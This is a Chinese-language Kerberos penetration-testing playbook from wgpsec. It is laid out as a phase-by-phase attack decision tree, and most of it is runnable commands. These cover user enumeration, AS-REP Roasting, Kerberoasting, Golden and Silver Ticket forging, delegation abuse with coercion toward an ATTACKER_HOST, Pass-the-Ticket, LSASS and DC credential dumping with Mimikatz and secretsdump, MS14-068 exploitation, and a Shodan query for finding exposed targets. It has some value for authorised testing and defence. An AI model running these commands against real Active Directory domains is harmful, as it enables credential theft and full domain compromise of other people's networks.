wgpsec Kerberos 渗透测试方法论 (88)
深入参考
- Kerberos 攻击命令大全（AS-REP Roasting / Kerberoasting / 票据伪造 / 委派攻击） -> 读 references/kerberos-attacks.md
整体决策树
发现 88 端口开放 (Kerberos)
├─ Phase 1: 服务发现
│ ├─ 确认 Kerberos 服务版本
│ ├─ 确认域名 / Realm
│ └─ 时钟同步检查
│ ├─ 偏差 > 5 分钟 -> 先同步时钟
│ └─ 已同步 -> 继续
├─ Phase 2: 用户名枚举
│ ├─ 无凭据 -> Kerbrute / Nmap 枚举有效用户
│ └─ 有用户列表 -> 进入 Phase 3
├─ Phase 3: AS-REP Roasting
│ ├─ 查找未设置预认证的账户
│ │ ├─ 找到 -> 提取 AS-REP 哈希 -> 离线破解
│ │ └─ 未找到 -> 进入 Phase 4
├─ Phase 4: Kerberoasting
│ ├─ 需要有效域凭据
│ ├─ 查找注册 SPN 的服务账户
│ │ ├─ 找到 -> 请求 TGS -> 提取哈希 -> 离线破解
│ │ └─ 未找到 -> 进入 Phase 5
├─ Phase 5: 票据伪造
│ ├─ 有 krbtgt 哈希 -> Golden Ticket (伪造 TGT)
│ ├─ 有服务账户哈希 -> Silver Ticket (伪造 TGS)
│ └─ 无足够材料 -> 进入 Phase 6
├─ Phase 6: 委派攻击
│ ├─ 非约束委派 -> 提取 TGT
│ ├─ 约束委派 -> S4U 协议滥用
│ └─ 基于资源的约束委派 (RBCD) -> 修改 msDS-AllowedToActOnBehalfOfOtherIdentity
└─ Phase 7: Pass-the-Ticket
├─ 导入票据到当前会话
└─ 利用票据访问目标服务
Phase 1: 服务发现
1.1 端口扫描与服务识别
# Nmap Kerberos 服务探测
nmap -sV -sC -p 88 <IP>
# Nmap Kerberos 枚举脚本
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
1.2 域名与 Realm 确认
确认 Kerberos Realm
├─ DNS 查询 SRV 记录
│ └─ nslookup -type=SRV _kerberos._tcp.DOMAIN.LOCAL
├─ 从 SMB 服务获取域名
│ └─ crackmapexec smb <IP>
└─ 从 LDAP 获取 Realm
└─ ldapsearch -x -h <IP> -s base namingContexts
1.3 环境准备 (时钟同步与 krb5.conf)
# 时钟同步 — 偏差 > 5 分钟会导致 KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
# 生成 krb5.conf (netexec)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 手动 krb5.conf 最小配置
cat > /etc/krb5.conf << 'CONF'
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
DOMAIN.LOCAL = {
kdc = dc.domain.local
admin_server = dc.domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
CONF
关键判断：
- 时钟偏差过大 -> 所有 Kerberos 操作都会失败，必须先同步
/etc/hosts必须正确解析 DC 的 FQDN -> SPN 不匹配会导致 GSSAPI 失败- NTLM 被禁用时 -> SMB/WinRM 工具需加
-k参数强制 Kerberos 认证
Phase 2: 用户名枚举
2.1 枚举决策树
用户名枚举 (无需凭据)
├─ Kerbrute (推荐，速度快，日志低)
│ ├─ kerbrute userenum --dc <DC_IP> -d DOMAIN.LOCAL users.txt
│ └─ 原理: 发送 AS-REQ，根据响应区分有效/无效用户
│ ├─ KDC_ERR_PREAUTH_REQUIRED -> 用户存在 (需要预认证)
│ ├─ KDC_ERR_CLIENT_REVOKED -> 用户存在但被禁用
│ └─ KDC_ERR_C_PRINCIPAL_UNKNOWN -> 用户不存在
├─ Nmap 脚本
│ └─ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
└─ Metasploit
└─ auxiliary/gather/kerberos_enumusers
├─ set DOMAIN DOMAIN.LOCAL
├─ set RHOSTS <DC_IP>
└─ set USER_FILE users.txt
2.2 常用用户名字典
# 内置字典
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/dirb/others/names.txt
# 从 OSINT 生成用户名
# 格式: firstname.lastname / f.lastname / firstnamelastname
Phase 3: AS-REP Roasting
3.1 攻击原理
当用户账户设置了 DONT_REQUIRE_PREAUTH 标志时，可以在不知道密码的情况下请求其 AS-REP 消息，其中包含可离线破解的加密数据。
3.2 攻击决策树
AS-REP Roasting
├─ 有域凭据
│ ├─ 查找目标: GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip <DC_IP>
│ ├─ LDAP 查询: (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
│ └─ BloodHound 标记: "Do not require Kerberos preauthentication"
├─ 无域凭据
│ └─ 对已枚举用户列表逐一尝试
│ └─ GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
└─ 获得哈希后 -> 离线破解
├─ hashcat -m 18200 asrep_hashes.txt wordlist.txt
└─ john --wordlist=wordlist.txt asrep_hashes.txt
3.3 Impacket GetNPUsers
# 已知用户列表，无需密码
GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt
# 有凭据，自动查找所有易受攻击用户
GetNPUsers.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt
3.4 Rubeus (Windows 环境)
# 查找并攻击所有 AS-REP Roastable 用户
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# 指定用户
Rubeus.exe asreproast /user:targetuser /format:hashcat
Phase 4: Kerberoasting
4.1 攻击原理
任何经过认证的域用户都可以请求注册了 SPN (Service Principal Name) 的服务账户的 TGS 票据，该票据使用服务账户的 NTLM 哈希加密，可离线破解。
4.2 攻击决策树
Kerberoasting (需要有效域凭据)
├─ 查找注册 SPN 的账户
│ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ LDAP: (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))
│ └─ PowerView: Get-DomainUser -SPN
├─ 请求 TGS 票据
│ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile tgs.txt
│ └─ Rubeus.exe kerberoast /outfile:tgs.txt
├─ 优先攻击目标
│ ├─ 高权限服务账户 (Domain Admins / 管理员组成员)
│ ├─ RC4 加密的票据 (更易破解)
│ │ └─ Rubeus.exe kerberoast /rc4opsec
│ └─ 密码从未更改的账户 (pwdLastSet 很久以前)
└─ 离线破解
├─ hashcat -m 13100 tgs.txt wordlist.txt
└─ john --wordlist=wordlist.txt tgs.txt
4.3 Impacket GetUserSPNs
# 列出所有 SPN 账户
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
# 请求 TGS 并保存哈希
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt
# 使用 NTLM 哈希认证
GetUserSPNs.py DOMAIN.LOCAL/user -hashes <LM:NT> -dc-ip <DC_IP> -request
4.4 Targeted Kerberoasting (无 SPN 时)
如果目标用户无 SPN 但你有写 SPN 的权限
├─ 设置 SPN: setspn -a MSSQLSvc/srv.domain.local:1433 targetuser
├─ 请求 TGS: GetUserSPNs.py ...
├─ 清理 SPN: setspn -d MSSQLSvc/srv.domain.local:1433 targetuser
└─ 注意: 需要 GenericAll/GenericWrite 权限
Phase 5: 票据伪造
5.1 Golden Ticket (伪造 TGT)
前提：拥有 krbtgt 账户的 NTLM 哈希（通常通过 DCSync 或 NTDS.dit 获取）
Golden Ticket 攻击流程
├─ 收集信息
│ ├─ 域 SID: whoami /user (截取到 RID 之前) 或 lookupsid.py
│ ├─ krbtgt NTLM 哈希: secretsdump.py DOMAIN/admin@<DC_IP> -just-dc-user krbtgt
│ └─ 域名: DOMAIN.LOCAL
├─ 生成票据
│ ├─ Impacket: ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain DOMAIN.LOCAL Administrator
│ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /krbtgt:<hash> /ptt
├─ 使用票据
│ ├─ export KRB5CCNAME=Administrator.ccache
│ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local
│ └─ secretsdump.py -k -no-pass dc.domain.local
└─ 特性
├─ 有效期: 默认 10 年
├─ 可伪造任意用户 (包括不存在的用户)
└─ 跨域: 需要父域 krbtgt 哈希
5.2 Silver Ticket (伪造 TGS)
前提：拥有目标服务账户的 NTLM 哈希
Silver Ticket 攻击流程
├─ 收集信息
│ ├─ 服务账户 NTLM 哈希 (例如 机器账户哈希)
│ ├─ 目标 SPN (例如 CIFS/dc.domain.local)
│ └─ 域 SID
├─ 生成票据
│ ├─ ticketer.py -nthash <service_hash> -domain-sid <SID> -domain DOMAIN.LOCAL -spn CIFS/dc.domain.local Administrator
│ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /target:dc.domain.local /service:CIFS /rc4:<hash> /ptt
├─ 常见服务 SPN 对照
│ ├─ CIFS -> 文件共享 (SMB)
│ ├─ HTTP -> Web 服务 / WinRM (WSMAN)
│ ├─ LDAP -> LDAP 查询 / DCSync
│ ├─ HOST -> 计划任务 / PsExec
│ └─ MSSQLSvc -> MSSQL 数据库
└─ 特性
├─ 不经过 KDC 验证 -> 更隐蔽
├─ 仅对特定服务有效
└─ 机器账户密码变更后失效 (默认 30 天轮换)
Phase 6: 委派攻击
6.1 委派类型决策树
委派攻击
├─ 非约束委派 (Unconstrained Delegation)
│ ├─ 发现: LDAP 查询 (userAccountControl:1.2.840.113556.1.4.803:=524288)
│ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 攻击: 诱使高权限用户连接到受控主机
│ │ ├─ Printer Bug (SpoolSample): SpoolSample.exe <DC_IP> <ATTACKER_HOST>
│ │ └─ PetitPotam: PetitPotam.py <ATTACKER_HOST> <DC_IP>
│ └─ 提取: 从内存提取转发的 TGT
│ └─ Rubeus.exe monitor /interval:5 /nowrap
├─ 约束委派 (Constrained Delegation)
│ ├─ 发现: 查找 msDS-AllowedToDelegateTo 属性
│ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 攻击 (S4U): 利用 S4U2Self + S4U2Proxy
│ │ ├─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/svc_account:password -impersonate Administrator -dc-ip <DC_IP>
│ │ └─ export KRB5CCNAME=Administrator.ccache
│ └─ 利用: 使用获得的票据访问目标服务
└─ 基于资源的约束委派 (RBCD)
├─ 前提: 对目标有 GenericWrite / WriteDacl 权限
├─ 攻击流程
│ ├─ 1) 创建或控制一个机器账户 (addcomputer.py)
│ ├─ 2) 修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
│ │ └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action write DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 3) S4U 获取票据
│ │ └─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/CONTROLLED$:password -impersonate Administrator -dc-ip <DC_IP>
│ └─ 4) 使用票据
│ └─ export KRB5CCNAME=Administrator.ccache
└─ 清理: 移除 RBCD 配置
└─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action remove DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
Phase 7: Pass-the-Ticket
7.1 票据操作
Pass-the-Ticket
├─ 获取票据
│ ├─ 导出当前会话票据 (Windows)
│ │ ├─ Mimikatz: sekurlsa::tickets /export
│ │ └─ Rubeus.exe dump /nowrap
│ ├─ 从 LSASS 提取
│ │ └─ Mimikatz: sekurlsa::logonpasswords
│ └─ 从 ccache 文件 (Linux)
│ └─ 默认位置: /tmp/krb5cc_<UID>
├─ 导入票据
│ ├─ Linux
│ │ └─ export KRB5CCNAME=/path/to/ticket.ccache
│ ├─ Windows
│ │ ├─ Mimikatz: kerberos::ptt <ticket.kirbi>
│ │ └─ Rubeus.exe ptt /ticket:<base64_ticket>
│ └─ 格式转换
│ ├─ kirbi -> ccache: ticketConverter.py ticket.kirbi ticket.ccache
│ └─ ccache -> kirbi: ticketConverter.py ticket.ccache ticket.kirbi
├─ 使用票据访问服务
│ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local
│ ├─ smbclient --kerberos //target.domain.local/C$
│ ├─ wmiexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local
│ └─ netexec smb target.domain.local -k
└─ 验证当前票据
├─ Linux: klist
└─ Windows: klist (系统命令)
7.2 Kerberos 认证使用 SMB 工具
# 获取 TGT
kinit <user>
klist
# netexec / crackmapexec Kerberos 认证
netexec smb <dc.fqdn> -k
# Impacket 工具使用缓存票据 (-k -no-pass)
psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local
secretsdump.py -k -no-pass dc.domain.local
# SSH GSSAPI 单点登录
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
已知漏洞
MS14-068 (CVE-2014-6324)
MS14-068 — PAC 伪造提权
├─ 影响: 普通域用户可伪造为域管理员
├─ 检测: 未打补丁的 Windows Server 2003-2012R2
├─ 利用
│ ├─ pykek: python ms14-068.py -u user@DOMAIN.LOCAL -p password -s <USER_SID> -d <DC_IP>
│ └─ goldenPac.py DOMAIN.LOCAL/user:password@dc.domain.local
└─ 修复: KB3011780 补丁
Shodan 搜索
port:88 kerberos
故障排除
| 错误信息 | 原因 | 解决方案 |
|---|---|---|
KRB_AP_ERR_SKEW |
时钟偏差过大 | sudo ntpdate <dc.fqdn> |
KDC_ERR_C_PRINCIPAL_UNKNOWN |
用户不存在 | 检查用户名和 Realm |
KDC_ERR_PREAUTH_FAILED |
密码错误 | 检查凭据 |
Server not found in Kerberos database |
SPN 不匹配 | 检查 /etc/hosts 和 FQDN |
STATUS_NOT_SUPPORTED |
NTLM 被禁用 | 添加 -k 参数使用 Kerberos |
KRB_ERR_RESPONSE_TOO_BIG |
UDP 响应过大 | 配置 krb5.conf 使用 TCP: udp_preference_limit = 1 |